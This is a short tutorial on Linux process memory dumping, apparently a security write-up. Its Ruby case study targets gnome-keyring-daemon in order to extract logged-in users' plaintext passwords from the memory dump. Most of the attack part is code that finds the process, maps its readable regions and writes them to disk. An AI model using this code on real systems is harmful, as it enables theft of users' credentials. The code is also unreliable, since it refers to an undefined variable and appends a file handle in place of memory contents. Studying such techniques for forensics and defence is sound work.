Memory Forensic
Linux memory
Dump Linux memory
To dump Linux memory for a specific process to disk, we need the follwoing:
- 1.Get process id (PID):
/proc/\[PID\]/cmdline- cmdline is file holds the complete command line for the process.
- 2.Get PID maps:
/proc/\[PID\]/maps- maps is file containing the currently mapped memory regions and their access permissions.
- 3.Get processs memory pages:
/proc/\[PID\]/mem- mem is a file can be used to access the pages of a process's memory through
Case study
Let's assume we want to dump
gnome-keyring-daemon process's memory to our disk in order to extract the logged-in user(s) password(s) since its stored in as a plan text in memory. Moreover, we know that it comes after "libgck-1" or "libgcrypt" strings in memory. We'll brack that a parts then put it together.Get process id (PID)
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@pids = []
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Dir.glob('/proc/*/cmdline').each do |cmdline_file|
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processes_name.each do |process|
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if File.read(cmdline_file).include? "gnome-keyring-daemon"
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@pids << cmdline_file.split('/')[2].to_i # get the pid number from proc/nnn/cmdline
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end
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end
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end
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Get PID maps:
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@pids_maps = []
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@pids.each do |pid|
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# Open and parse maps file for each pid
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File.readlines("/proc/#{pid}/maps").each do |line|
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address, permissions = line.split(' ').first(2)
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# Find addresses in readable process memory pages
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if permissions.match(/^r.*/)
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# Find where pages starts and ends to read, no need to dump the whole memory.
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memory_start, memory_stop = address.split('-').map{|r| r.to_i(16)}
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chunk_size = memory_stop - memory_start
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@pids_maps << {pid: pid, memory_start: memory_start, memory_stop: memory_stop, chunk: chunk_size}
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end
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end
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end
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Get processs memory pages:
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memory_dump = ''
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@pids_maps.each do |pid|
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chunk_pointer = File.open("/proc/#{pid[:pid]}/mem", 'rb') # Open mem file
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chunk_pointer.seek pid[:memory_start] # put reading pointer where page starts
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memory_dump << chunk_pointer
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end
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File.open('gnome-keyring.dump', 'wb') {|f| f.print memory_dump} # Write dump to the desk as binary
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